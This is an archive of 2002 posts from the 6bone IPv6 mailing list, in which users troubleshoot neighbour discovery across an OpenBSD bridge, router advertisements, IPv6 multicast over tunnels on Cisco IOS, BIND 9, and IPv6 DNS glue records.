17:36:55.462827 3ffe:2029:8400:0:1::2 > ff02::1:ff00:1: icmp6: neighbor
sol: who has 3ffe:2029:8400:0:1::1
17:36:56.462734 3ffe:2029:8400:0:1::2 > ff02::1:ff00:1: icmp6: neighbor
sol: who has 3ffe:2029:8400:0:1::1

so i now have exactly the same problem with the netbsd box as well. ping
between the boxes netbsd, linux2219, linux2219usagi works. ping to
the openbsd bridge from one of the boxes does not work. when i ping from
the openbsd box to one of the boxes it works. after that, the back-ping
does work too!!

so it definitly seems to be some openbsd problem. (is it the bridge that
makes problems? i will try this on wendesday when i got console access
to that firewall box) 

i hope you have an idea, thank you and greetz

Flavio
-- 
http://no-way.org/~fcu/


From jeroen@unfix.org Wed Sep 11 09:41:28 2002
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Flavio Curti wrote:

> 3ffe:2029:8400:0:1::1 - openbsd 3.1-stable router (i386)
>                           xl0 3ffe:2029:8400:0:1::1
>                           xl1 no addresses
>                           bridge0 - xl0 and xl1
> the linux, linuxusagi and the netbsd machines are connected to a hub,
> which is connected to xl1.


> so it definitly seems to be some openbsd problem. (is it the 
> bridge that makes problems? i will try this on wendesday when i got
console access
> to that firewall box) 

It's the bridge.
Why don't you try the thing called routing ? :)

Greets,
 Jeroen


From lists.fcu@no-way.org Wed Sep 11 13:19:45 2002
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hi

On Wed, Sep 11, 2002 at 06:41:07PM +0200, Jeroen Massar wrote:
> Flavio Curti wrote:
> 
> > 3ffe:2029:8400:0:1::1 - openbsd 3.1-stable router (i386)
> >                           xl0 3ffe:2029:8400:0:1::1
> >                           xl1 no addresses
> >                           bridge0 - xl0 and xl1
> > the linux, linuxusagi and the netbsd machines are connected to a hub,
> > which is connected to xl1.
> 
> 
> > so it definitly seems to be some openbsd problem. (is it the 
> > bridge that makes problems? i will try this on wendesday when i got
> console access
> > to that firewall box) 
> 
> It's the bridge.
> Why don't you try the thing called routing ? :)
well, i only got a /29 in ipv4 space, so i need the bridge for my dmz
setup... any clues on how-to make it work through the bridge? (or what
exactly is problematic about the bridge? is there no possibility to run
ipv6 over a bridge?)

thank you & greetz

Flavio

-- 
http://no-way.org/~fcu/

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From mcr@sandelman.ottawa.on.ca Wed Sep 11 14:07:29 2002
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Subject: Re: [6bone] client/gw config 
In-reply-to: Your message of "Wed, 11 Sep 2002 23:08:34 +1000."
             <3D7F4052.6010809@optushome.com.au> 
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-----BEGIN PGP SIGNED MESSAGE-----


>>>>> "kni501ss" == kni501ss  <kni501ss@optushome.com.au> writes:
    kni501ss>         /          /
    kni501ss>     rl0    gif0
    kni501ss>       |        |     (tspc)
    kni501ss>     -----------
    kni501ss>     |            |  (openbsd 3.1)
    kni501ss>     |            |
    kni501ss>     -----------
    kni501ss>           |    (dhcpd ipv4)
    kni501ss>         dc0        (lan side)
    kni501ss>           |
    kni501ss>           |
    kni501ss>           |------ [ linux box ]  (Debian)
    kni501ss>           |
    kni501ss>           |
    kni501ss>           |-------[ other os box ]

    kni501ss> How do I give a 'real' IPV6 address to the linux box ?

  You run rtadvd on the openbsd box. From my NetBSD router:

# service network
de3:\
        :addrs#2:\
        :addr0="2002:401A:9BFE:0003::":\
        :addr1="2001:0410:0402:0003::":tc=ether:
        #:addr3="3ffe:1ce1:0:fe51::":tc=ether:

  270 ??  Is    1:39.68 /usr/sbin/rtadvd de1 de2 de3 

That means that you have to subnet your address space from freenet6. You'll
notice that suspicously, the network on de*3* is :0003:

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another Debian GNU/Linux using, kernel hacking, security guy"); [
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Finger me for keys

iQCVAwUBPX+wL4qHRg3pndX9AQHofwP/c4qGBRn2OqQOrQ7KZRi2IiYlEva/mZLA
cRCwmpxqQr33QhcCOLjLZ8sO2LTGp1149VikdRKGBx4n2GN/lswfd6G+swjpKZGI
sWVlcvVFB4L7wQzrbJ9hq4SgSQyRO4a5ZYbcjyOqreNGtonAJ9KOzgkCFheLvwfO
i2KhaRjTitw=
=Ff1s
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To: Michael Richardson <mcr@sandelman.ottawa.on.ca>, pim@ipng.nl
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Subject: Re: [6bone] client/gw config
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Michael Richardson wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>  
>
>>>>>>"kni501ss" == kni501ss  <kni501ss@optushome.com.au> writes:
>>>>>>            
>>>>>>
>    kni501ss>         /          /
>    kni501ss>     rl0    gif0
>    kni501ss>       |        |     (tspc)
>    kni501ss>     -----------
>    kni501ss>     |            |  (openbsd 3.1)
>    kni501ss>     |            |
>    kni501ss>     -----------
>    kni501ss>           |    (dhcpd ipv4)
>    kni501ss>         dc0        (lan side)
>    kni501ss>           |
>    kni501ss>           |
>    kni501ss>           |------ [ linux box ]  (Debian)
>    kni501ss>           |
>    kni501ss>           |
>    kni501ss>           |-------[ other os box ]
>
>    kni501ss> How do I give a 'real' IPV6 address to the linux box ?
>
>  You run rtadvd on the openbsd box. From my NetBSD router:
>
># service network
>de3:\
>        :addrs#2:\
>        :addr0="2002:401A:9BFE:0003::":\
>        :addr1="2001:0410:0402:0003::":tc=ether:
>        #:addr3="3ffe:1ce1:0:fe51::":tc=ether:
>
>  270 ??  Is    1:39.68 /usr/sbin/rtadvd de1 de2 de3 
>
>That means that you have to subnet your address space from freenet6. You'll
>notice that suspicously, the network on de*3* is :0003:
>
>  
>
Thankyou for your help,  Michael and Pim.
I found that the freenet6 client automatically creates a cfg file for 
rtadvd when configured as a router.
 However,  it seems that rtadvd isnt quite hppy with the config file, so 
ill take it up with  the
 freenet6 people.



From pim@ipng.nl Thu Sep 12 00:03:37 2002
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Date: Thu, 12 Sep 2002 09:03:32 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Flavio Curti <lists.fcu@no-way.org>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] ipv6 setup question
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Hoi,

Smoe year or so ago I had the same problem, but with Riverstone as a
bridge. Check to see if it handles multicast properly. I see your paste
with the linux/usagi boxes doing a neighbor sollicitation. This is like
ARP but then for IPv6. There is no answer.

I'm interrested to see if your NS reaches xl1 and xl0 on the OpenBSD
box. Please tcpdump them when you are trying an NS from the backend
(xl1) LAN.

My bet is, the OpenBSD kernel never gets the neighbor sollicitation and
therefor cannot answer with a neighbor advertisement, so the client
boxes never know which linklocal address (and MAC adres) to send the
ICMPv6 echo packet to.

The other way around, is trivial. The OpenBSD box does send out a NS
packet and the box on the xl1 side answers with a NA, which your OpenBSD 
box does get.

Once this has happened, the client on xl0 side (linux/usagi) can put
the linklocal of the OpenBSD in the neighbor cache and therefor does not
have to resend a NS packet when it wants to ping the openbsd server.

I hope this is somewhat clear :) Check if the bridge forwards NS
properly and while you're at it, check to see if it bridges router
advertisement/sollicitation (RA/RS).

good luck!
Pim


On Wed, Sep 11, 2002 at 05:50:58PM +0200, Flavio Curti wrote:
| hi
| 
| hope nobody minds me asking this in the 6bone list, but i'm running out
| of lists where i can ask (tried debian-ipv6, snap-users, openbsd-ipv6,
| openbsd-misc, usagi). hope somebody has an idea!
| 
| i want to setup the following:
| 
| 3ffe:2029:8400:0:1::1 - openbsd 3.1-stable router (i386)
|                           xl0 3ffe:2029:8400:0:1::1
|                           xl1 no addresses
|                           bridge0 - xl0 and xl1
| the linux, linuxusagi and the netbsd machines are connected to a hub,
| which is connected to xl1.
| 
| \--- 3ffe:2029:8400:0:1::2 - linux usagi 2.2.19 box (i386)
| \--- 3ffe:2029:8400:0:1::3 - normal linux 2.2.19 box (i386)
| \--- 3ffe:2029:8400:0:1::4 - netbsd 1.5 (alpha)
| 
| when i try to ping6 the gateway from the linux boxes it fails. (host
| unreachable):
| --(linux2219usagi: $:~)-- ping6 3ffe:2029:8400:0:1::1
| PING 3ffe:2029:8400:0:1::1(3ffe:2029:8400:0:1::1) from \
|   3ffe:2029:8400:0:1::2 : 56 data bytes
| >From 3ffe:2029:8400:0:1::2 icmp_seq=3 Destination unreachable: Address \
|   unreachable
| 
| --(linux2219usagi: $:~)-- ip -6 neigh
| --(linux2219usagi: $:~)-- 
| 
| (the same from the linux2219 box.)
| and the same from the netbsd box.
| however as soon as i ping the linux box from the openbsd box:
| 
| --(openbsd: $:~)-- ping6 3ffe:2029:8400:0:1::2
| PING6(56=40+8+8 bytes) 3ffe:2029:8400:0:1::1 --> 3ffe:2029:8400:0:1::2
| 16 bytes from 3ffe:2029:8400:0:1::2, icmp_seq=5 hlim=64 time=27.794 ms
| 16 bytes from 3ffe:2029:8400:0:1::2, icmp_seq=8 hlim=64 time=7.178 ms
| --- 3ffe:2029:8400:0:1::2 ping6 statistics ---
| 9 packets transmitted, 6 packets received, 33% packet loss
| round-trip min/avg/max/std-dev = 2.870/517.059/2028.869/771.456 ms
| 
| it makes the entries just fine and i can ping the other way around fine:
| --(linux2219usagi: $:~)-- ip -6 neigh
| 3ffe:2029:8400:0:1::1 dev eth0 lladdr 00:50:da:84:bf:49 router nud stale
| fe80::250:daff:fe84:bf49 dev eth0 lladdr 00:50:da:84:bf:49 nud stale
| 
| i did a tcpdump on the openbsd box, showing the linux2219usagi box
| trying to ping the openbsd box:
| --($:~)-- tcpdump -i xl0 -n proto ipv6-icmp
| tcpdump: listening on xl0
| 17:36:55.462827 3ffe:2029:8400:0:1::2 > ff02::1:ff00:1: icmp6: neighbor
| sol: who has 3ffe:2029:8400:0:1::1
| 17:36:56.462734 3ffe:2029:8400:0:1::2 > ff02::1:ff00:1: icmp6: neighbor
| sol: who has 3ffe:2029:8400:0:1::1
| 
| so i now have exactly the same problem with the netbsd box as well. ping
| between the boxes netbsd, linux2219, linux2219usagi works. ping to
| the openbsd bridge from one of the boxes does not work. when i ping from
| the openbsd box to one of the boxes it works. after that, the back-ping
| does work too!!
| 
| so it definitly seems to be some openbsd problem. (is it the bridge that
| makes problems? i will try this on wendesday when i got console access
| to that firewall box) 
| 
| i hope you have an idea, thank you and greetz
| 
| Flavio
| -- 
| http://no-way.org/~fcu/
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From lists.fcu@no-way.org Thu Sep 12 02:02:45 2002
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From: Flavio Curti <lists.fcu@no-way.org>
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Subject: Re: [6bone] ipv6 setup question
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On Thu, Sep 12, 2002 at 09:03:32AM +0200, Pim van Pelt wrote:
> Hoi,
> 
> Smoe year or so ago I had the same problem, but with Riverstone as a
> bridge. Check to see if it handles multicast properly. I see your paste
> with the linux/usagi boxes doing a neighbor sollicitation. This is like
okay, ill check multicast possibilty of the bridge on the openbsd
mailinglist.

> I'm interrested to see if your NS reaches xl1 and xl0 on the OpenBSD
> box. Please tcpdump them when you are trying an NS from the backend
> (xl1) LAN.
the tcpdump you see was done on the xl0 interface on the openbsd box.
(this is the interface 'the farest away')
so it does reach the openbsd box, but somehow the kernel does not think
its for him... hmmmmppp

> My bet is, the OpenBSD kernel never gets the neighbor sollicitation and
> therefor cannot answer with a neighbor advertisement, so the client
> boxes never know which linklocal address (and MAC adres) to send the
> ICMPv6 echo packet to.
yup...

> The other way around, is trivial. The OpenBSD box does send out a NS
my thoughts.

> I hope this is somewhat clear :) Check if the bridge forwards NS
> properly and while you're at it, check to see if it bridges router
> advertisement/sollicitation (RA/RS).
okay, i will check that... (which i doubt, i tried using rtadvd which
didn't work...)

thank you very much & greetz

Flavio

-- 
http://no-way.org/~fcu/

From pekkas@netcore.fi Thu Sep 12 21:49:28 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Jeff Williams <jwkckid1@ix.netcom.com>
cc: Joe Baptista <baptista@dot-god.com>,
   "DNSO, General Assembly" <ga@dnso.org>, ISI IPv6 list <6bone@ISI.EDU>,
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On Thu, 12 Sep 2002, Jeff Williams wrote:
> Joe and all assembly members other interested parties,
> 
>   Thanks Joe for passing this interesting and very accurate article.

Hmm..
 
>   It is good that also Jim FLemings IPv8 got a little well deserved
> attention as well.  Kudos to Jim there!

You must be kidding!

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From gmonroe@ku.edu Fri Sep 13 07:30:56 2002
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I am a newbie to the 6bone, and I have a question about domain
registration.  Does icann support ipv6 addresses for domain servers?  In
other words, could I go to my local domain registrar and provide my IPv6
addresses for my DNS servers and have these resolve properly? Thanks for
the help.

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<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
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   "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] proposal for transfer of 6bone address management responsibilities to RIRs
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Jordi

>
> Right now, it's important to push IPv6, but in the long run, I *want*
> restrictions on "who can get IPv6 blocks from the RIR".
>
> > I always say IPv6 is FREEDOM, and following the same rule as in IPv4,
> > it WILL NOT BE.


If IPv6 addresses are "free" in the sense you describe how do they get re
allocated when say a device dies or a home user moves on?


Christian de Larrinaga


From galania@ipv6.inictel.gob.pe Fri Sep 13 10:28:58 2002
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Somebody profit to form bind 9 for ipv6? so that it can help me




From rain@bluecherry.net Fri Sep 13 18:45:44 2002
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From: Ben Winslow <rain@bluecherry.net>
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Subject: [6bone] Call for help: Multicast over tunneled ipv6
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Has anyone had any luck using multicast over a tunneled v6 connection? 
Everything works on the local ethernet segment (of course), but I can't
get past the router--the other end doesn't see any of the multicast
packets.  (I was testing with an ipv6ip tunnel to another site in this
case)

It's quite possible that I don't have the router set up correctly, but I
don't know what I'm doing wrong if that's the case.  I've been browing
assorted multicast docs on cisco's site, and *as far as I know*, I have
everything configured correctly.

Can anyone suggest any possible 'gotchas' or condensed guides?

Some details:
Router: Cisco IOS Version 12.2(8)T5
Nodes on each end: Linux 2.4.x (16 <= x <= 19)

IPv6 on the local ethernet segment is native until the router
Router connects to the world with 6to4
Test nodes were connected by means of native ipv6 -> router -> ipv6ip
over v4 internet -> ipv6 sit interface in Linux

I'd be happy to provide configuration snippets or other details if
they'll help.

-- 
Ben Winslow (rain@bluecherry.net) : Time is the best
       System Administrator       : teacher--unfortunately, it kills 
   Bluecherry Internet Services   : all of its students.  
    http://www.bluecherry.net/    : 
          (573) 592-0800          : 

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From anil.bhaskar@wipro.com Fri Sep 13 21:08:30 2002
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Subject: RE: [6bone] bind 9
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Yes I have installed bind 9 in Linux and Windows and it is working fine
for forward and reverse DNS IPv6.

Best Regards, 
Anil B. 
Wipro Tech.
Bangalore
India

-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On Behalf Of Gino Francisco Alania Hurtado
Sent: Friday, September 13, 2002 10:53 PM
To: 6bone@mailman.isi.edu; usagi-users@linux-ipv6.org
Subject: [6bone] bind 9

Somebody profit to form bind 9 for ipv6? so that it can help me



_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


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From kim@tac.nyc.ny.us Fri Sep 13 22:17:28 2002
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To: Ben Winslow <rain@bluecherry.net>
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Subject: Re: [6bone] Call for help: Multicast over tunneled ipv6
In-Reply-To: <20020913204537.10ae84e8.rain@bluecherry.net>
 from Ben Winslow on Fri, 13 Sep 2002 20:45:37 -0500
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I was just looking at this the other day, and I didn't see a "ipv6
multicast-routing" command (analogous to "ip multicast-routing")
on IOS 12.2(11)T.  Which made me think it doesn't do multicast over
ipv6 at all.

Regards,
+ Kim


| From:    Ben Winslow <rain@bluecherry.net>
| Date:    Fri, 13 Sep 2002 20:45:37 -0500
|
| Has anyone had any luck using multicast over a tunneled v6 connection?
| Everything works on the local ethernet segment (of course), but I can't
| get past the router--the other end doesn't see any of the multicast
| packets.  (I was testing with an ipv6ip tunnel to another site in this
| case)
|
| It's quite possible that I don't have the router set up correctly, but I
| don't know what I'm doing wrong if that's the case.  I've been browing
| assorted multicast docs on cisco's site, and *as far as I know*, I have
| everything configured correctly.
|
| Can anyone suggest any possible 'gotchas' or condensed guides?
|
| Some details:
| Router: Cisco IOS Version 12.2(8)T5
| Nodes on each end: Linux 2.4.x (16 <= x <= 19)
|
| IPv6 on the local ethernet segment is native until the router
| Router connects to the world with 6to4
| Test nodes were connected by means of native ipv6 -> router -> ipv6ip
| over v4 internet -> ipv6 sit interface in Linux
|
| I'd be happy to provide configuration snippets or other details if
| they'll help.
|
| --
| Ben Winslow (rain@bluecherry.net) : Time is the best
|        System Administrator       : teacher--unfortunately, it kills
|    Bluecherry Internet Services   : all of its students.
|     http://www.bluecherry.net/    :
|           (573) 592-0800          :

From jorgen@hovland.cx Sat Sep 14 04:06:42 2002
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Subject: Re: [6bone] Call for help: Multicast over tunneled ipv6
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You didnt give much information like if you are using dvmrp tunnels etc..
Your cisco is in front of the linuxmachine on a seperate interface which does the tunneling? 
LAN1 <-> cisco <-> linux LAN2 <-> tunnel <-> linux <-> LAN3 ?
Are all the nodes in the same domain ? How is your pim configuration set?


joergen hovland

----- Original Message ----- 
From: "Ben Winslow" <rain@bluecherry.net>
To: "6BONE List" <6bone@ISI.EDU>
Sent: Saturday, September 14, 2002 3:45 AM
Subject: [6bone] Call for help: Multicast over tunneled ipv6

Has anyone had any luck using multicast over a tunneled v6 connection? 
Everything works on the local ethernet segment (of course), but I can't
get past the router--the other end doesn't see any of the multicast
packets.  (I was testing with an ipv6ip tunnel to another site in this
case)

It's quite possible that I don't have the router set up correctly, but I
don't know what I'm doing wrong if that's the case.  I've been browing
assorted multicast docs on cisco's site, and *as far as I know*, I have
everything configured correctly.

Can anyone suggest any possible 'gotchas' or condensed guides?

Some details:
Router: Cisco IOS Version 12.2(8)T5
Nodes on each end: Linux 2.4.x (16 <= x <= 19)

IPv6 on the local ethernet segment is native until the router
Router connects to the world with 6to4
Test nodes were connected by means of native ipv6 -> router -> ipv6ip
over v4 internet -> ipv6 sit interface in Linux

I'd be happy to provide configuration snippets or other details if
they'll help.

-- 
Ben Winslow (rain@bluecherry.net) : Time is the best
       System Administrator       : teacher--unfortunately, it kills 
   Bluecherry Internet Services   : all of its students.  
    http://www.bluecherry.net/    : 
          (573) 592-0800          : 



From gert@Space.Net Mon Sep 16 00:21:29 2002
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From: Gert Doering <gert@space.net>
To: gmonroe <gmonroe@ku.edu>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Domain Registration
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Hi,

On Fri, Sep 13, 2002 at 09:30:09AM -0500, gmonroe wrote:
> I am a newbie to the 6bone, and I have a question about domain
> registration.  Does icann support ipv6 addresses for domain servers?  In
> other words, could I go to my local domain registrar and provide my IPv6
> addresses for my DNS servers and have these resolve properly? Thanks for
> the help.

Well, actually it's not "ICANN" that has to support this, but your local
registrar.  For some TLDs, they don't support v6 glue records yet (.DE, 
for example), for others, it has been announced a while ago (NSI for
.com/.net/.org) but I haven't seen any evidence that it's actually
supported by now.

So the best approach would be to actually talk to your registrar about
what exactly you want to achieve, and then report your findings to us :)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46861  (46812)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From bjorn.lindgren@pharmacia.com Mon Sep 16 00:29:00 2002
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To: =?iso-8859-1?Q?=27J=F8rgen_Hovland=27?= <jorgen@hovland.cx>,
   Ben Winslow <rain@bluecherry.net>, 6BONE List <6bone@ISI.EDU>
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Subject: RE: [6bone] Call for help: Multicast over tunneled ipv6
Date: Mon, 16 Sep 2002 03:28:42 -0400
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AFAIK Cisco IOS does not support IPv6 multicast other than MBGP in the
production images.
No PIM-SM/PIM-DM/MSDP/MLDv2 for IPv6. There exists a development/beta image
with IPv6 Multicast support IIRC.

Maybe someone how knows better can clarify.

// B

-----Original Message-----
From: Jørgen Hovland [mailto:jorgen@hovland.cx]
Sent: den 14 september 2002 13:02
To: Ben Winslow; 6BONE List
Subject: Re: [6bone] Call for help: Multicast over tunneled ipv6


You didnt give much information like if you are using dvmrp tunnels etc..
Your cisco is in front of the linuxmachine on a seperate interface which
does the tunneling? 
LAN1 <-> cisco <-> linux LAN2 <-> tunnel <-> linux <-> LAN3 ?
Are all the nodes in the same domain ? How is your pim configuration set?


joergen hovland

----- Original Message ----- 
From: "Ben Winslow" <rain@bluecherry.net>
To: "6BONE List" <6bone@ISI.EDU>
Sent: Saturday, September 14, 2002 3:45 AM
Subject: [6bone] Call for help: Multicast over tunneled ipv6

Has anyone had any luck using multicast over a tunneled v6 connection? 
Everything works on the local ethernet segment (of course), but I can't
get past the router--the other end doesn't see any of the multicast
packets.  (I was testing with an ipv6ip tunnel to another site in this
case)

It's quite possible that I don't have the router set up correctly, but I
don't know what I'm doing wrong if that's the case.  I've been browing
assorted multicast docs on cisco's site, and *as far as I know*, I have
everything configured correctly.

Can anyone suggest any possible 'gotchas' or condensed guides?

Some details:
Router: Cisco IOS Version 12.2(8)T5
Nodes on each end: Linux 2.4.x (16 <= x <= 19)

IPv6 on the local ethernet segment is native until the router
Router connects to the world with 6to4
Test nodes were connected by means of native ipv6 -> router -> ipv6ip
over v4 internet -> ipv6 sit interface in Linux

I'd be happy to provide configuration snippets or other details if
they'll help.

-- 
Ben Winslow (rain@bluecherry.net) : Time is the best
       System Administrator       : teacher--unfortunately, it kills 
   Bluecherry Internet Services   : all of its students.  
    http://www.bluecherry.net/    : 
          (573) 592-0800          : 


_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From gert@Space.Net Mon Sep 16 00:48:43 2002
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Date: Mon, 16 Sep 2002 09:48:39 +0200
From: Gert Doering <gert@space.net>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
Cc: Ben Winslow <rain@bluecherry.net>, 6BONE List <6bone@ISI.EDU>
Subject: Re: [6bone] Call for help: Multicast over tunneled ipv6
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Hi,

On Sat, Sep 14, 2002 at 01:17:25AM -0400, Kimmo Suominen wrote:
> I was just looking at this the other day, and I didn't see a "ipv6
> multicast-routing" command (analogous to "ip multicast-routing")
> on IOS 12.2(11)T.  Which made me think it doesn't do multicast over
> ipv6 at all.

Seconded.  As far as I know, there is no Cisco IOS version with IPv6 
multicast routing available yet.  (Maybe internally, but no 12.2T)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46861  (46812)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From pekkas@netcore.fi Mon Sep 16 07:00:19 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: "LINDGREN, BJORN [IT/0454]" <bjorn.lindgren@pharmacia.com>
cc: =?iso-8859-1?Q?=27J=F8rgen_Hovland=27?= <jorgen@hovland.cx>,
   Ben Winslow <rain@bluecherry.net>, 6BONE List <6bone@ISI.EDU>
Subject: RE: [6bone] Call for help: Multicast over tunneled ipv6
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On Mon, 16 Sep 2002, LINDGREN, BJORN [IT/0454] wrote:
> AFAIK Cisco IOS does not support IPv6 multicast other than MBGP in the
> production images.

No, v6 MBGP (for multicast routes) is not supported.

> No PIM-SM/PIM-DM/MSDP/MLDv2 for IPv6. There exists a development/beta image
> with IPv6 Multicast support IIRC.

Yes.

> -----Original Message-----
> From: Jørgen Hovland [mailto:jorgen@hovland.cx]
> Sent: den 14 september 2002 13:02
> To: Ben Winslow; 6BONE List
> Subject: Re: [6bone] Call for help: Multicast over tunneled ipv6
> 
> 
> You didnt give much information like if you are using dvmrp tunnels etc..
> Your cisco is in front of the linuxmachine on a seperate interface which
> does the tunneling? 
> LAN1 <-> cisco <-> linux LAN2 <-> tunnel <-> linux <-> LAN3 ?
> Are all the nodes in the same domain ? How is your pim configuration set?
> 
> 
> joergen hovland
> 
> ----- Original Message ----- 
> From: "Ben Winslow" <rain@bluecherry.net>
> To: "6BONE List" <6bone@ISI.EDU>
> Sent: Saturday, September 14, 2002 3:45 AM
> Subject: [6bone] Call for help: Multicast over tunneled ipv6
> 
> Has anyone had any luck using multicast over a tunneled v6 connection? 
> Everything works on the local ethernet segment (of course), but I can't
> get past the router--the other end doesn't see any of the multicast
> packets.  (I was testing with an ipv6ip tunnel to another site in this
> case)
> 
> It's quite possible that I don't have the router set up correctly, but I
> don't know what I'm doing wrong if that's the case.  I've been browing
> assorted multicast docs on cisco's site, and *as far as I know*, I have
> everything configured correctly.
> 
> Can anyone suggest any possible 'gotchas' or condensed guides?
> 
> Some details:
> Router: Cisco IOS Version 12.2(8)T5
> Nodes on each end: Linux 2.4.x (16 <= x <= 19)
> 
> IPv6 on the local ethernet segment is native until the router
> Router connects to the world with 6to4
> Test nodes were connected by means of native ipv6 -> router -> ipv6ip
> over v4 internet -> ipv6 sit interface in Linux
> 
> I'd be happy to provide configuration snippets or other details if
> they'll help.
> 
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pgrosset@cisco.com Mon Sep 16 07:29:26 2002
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Date: Mon, 16 Sep 2002 16:16:51 +0200
To: "LINDGREN, BJORN [IT/0454]" <bjorn.lindgren@pharmacia.com>
From: Patrick Grossetete <pgrosset@cisco.com>
Subject: RE: [6bone] Call for help: Multicast over tunneled ipv6
Cc: "=?iso-8859-1?Q?=27J=F8rgen?= Hovland'" <jorgen@hovland.cx>,
   Ben Winslow <rain@bluecherry.net>, 6BONE List <6bone@ISI.EDU>
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         There is no IPv6 Multicast support on Cisco IOS production images, 
only IPv6 Unicast address family
is currently included in MBGP.

Regards
Patrick

At 03:28 AM 16-09-02 -0400, LINDGREN, BJORN [IT/0454] wrote:
>AFAIK Cisco IOS does not support IPv6 multicast other than MBGP in the
>production images.
>No PIM-SM/PIM-DM/MSDP/MLDv2 for IPv6. There exists a development/beta image
>with IPv6 Multicast support IIRC.
>
>Maybe someone how knows better can clarify.
>
>// B
>
>-----Original Message-----
>From: Jørgen Hovland [mailto:jorgen@hovland.cx]
>Sent: den 14 september 2002 13:02
>To: Ben Winslow; 6BONE List
>Subject: Re: [6bone] Call for help: Multicast over tunneled ipv6
>
>
>You didnt give much information like if you are using dvmrp tunnels etc..
>Your cisco is in front of the linuxmachine on a seperate interface which
>does the tunneling?
>LAN1 <-> cisco <-> linux LAN2 <-> tunnel <-> linux <-> LAN3 ?
>Are all the nodes in the same domain ? How is your pim configuration set?
>
>
>joergen hovland
>
>----- Original Message -----
>From: "Ben Winslow" <rain@bluecherry.net>
>To: "6BONE List" <6bone@ISI.EDU>
>Sent: Saturday, September 14, 2002 3:45 AM
>Subject: [6bone] Call for help: Multicast over tunneled ipv6
>
>Has anyone had any luck using multicast over a tunneled v6 connection?
>Everything works on the local ethernet segment (of course), but I can't
>get past the router--the other end doesn't see any of the multicast
>packets.  (I was testing with an ipv6ip tunnel to another site in this
>case)
>
>It's quite possible that I don't have the router set up correctly, but I
>don't know what I'm doing wrong if that's the case.  I've been browing
>assorted multicast docs on cisco's site, and *as far as I know*, I have
>everything configured correctly.
>
>Can anyone suggest any possible 'gotchas' or condensed guides?
>
>Some details:
>Router: Cisco IOS Version 12.2(8)T5
>Nodes on each end: Linux 2.4.x (16 <= x <= 19)
>
>IPv6 on the local ethernet segment is native until the router
>Router connects to the world with 6to4
>Test nodes were connected by means of native ipv6 -> router -> ipv6ip
>over v4 internet -> ipv6 sit interface in Linux
>
>I'd be happy to provide configuration snippets or other details if
>they'll help.
>
>--
>Ben Winslow (rain@bluecherry.net) : Time is the best
>        System Administrator       : teacher--unfortunately, it kills
>    Bluecherry Internet Services   : all of its students.
>     http://www.bluecherry.net/    :
>           (573) 592-0800          :
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone

____________________________________________
Patrick Grossetete
Cisco Systems
Internet Technology Division (ITD) - Product Manager
			
Phone/Vmail: 33.1.58.04.61.52	
Fax: 33.1.58.04.61.00	
mobile: 33.6.19.98.51.31	
Email:pgrosset@cisco.com	
11 Rue Camille Desmoulins
92782 Issy les Moulineaux Cedex 9
France
____________________________________________


From nick@arc.net.my Tue Sep 17 03:56:12 2002
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Date: Tue, 17 Sep 2002 18:56:36 +0800
From: Nick Kraal <nick@arc.net.my>
To: 6BONE List <6bone@ISI.EDU>
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References: <4.3.2.7.2.20020916161533.017f2ee8@europe.cisco.com>
Subject: [6bone] IPv6 and FreeBSD
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I hope that this is not OTT on this mailing-list.

I am trying to implement a simple IPv6 gateway on FreeBSD. This box has
three interfaces xl0,ep1 and gif0. xl0 is connected to a v4 network and runs
fine. gif0 is a IPv4 tunneled interface to the existing IPv6 router. The ep1
interface is to a switch where I am trying to construct a pure IPv6 network
2001:FFFF:B405:2::/64. IPv6 connectivity from the box seems to be working
fine but I am a bit stuck on the RA portion running on interface ep1. Can
this work or must I install Zebra. Any ideas/hints/pointers will be greatly
appreciated.

Thanks in advance.

-nick/

...from the IPv6 router:
ipv6 route 2001:FFFF:B405::/48 Tunnel 5

...from /etc/rc.conf
# ---IPv6 router config---
ipv6_enable="YES"
ipv6_static_routes="default"
ipv6_route_default="default -interface gif0"
ipv6_gateway_enable="YES"
ipv6_network_interfaces="xl0 ep1"
ipv6_prefix_xl0="2001:FFFF:B405:1 prefixlen 64"
ipv6_prefix_ep1="2001:FFFF:B405:2 prefixlen 64"
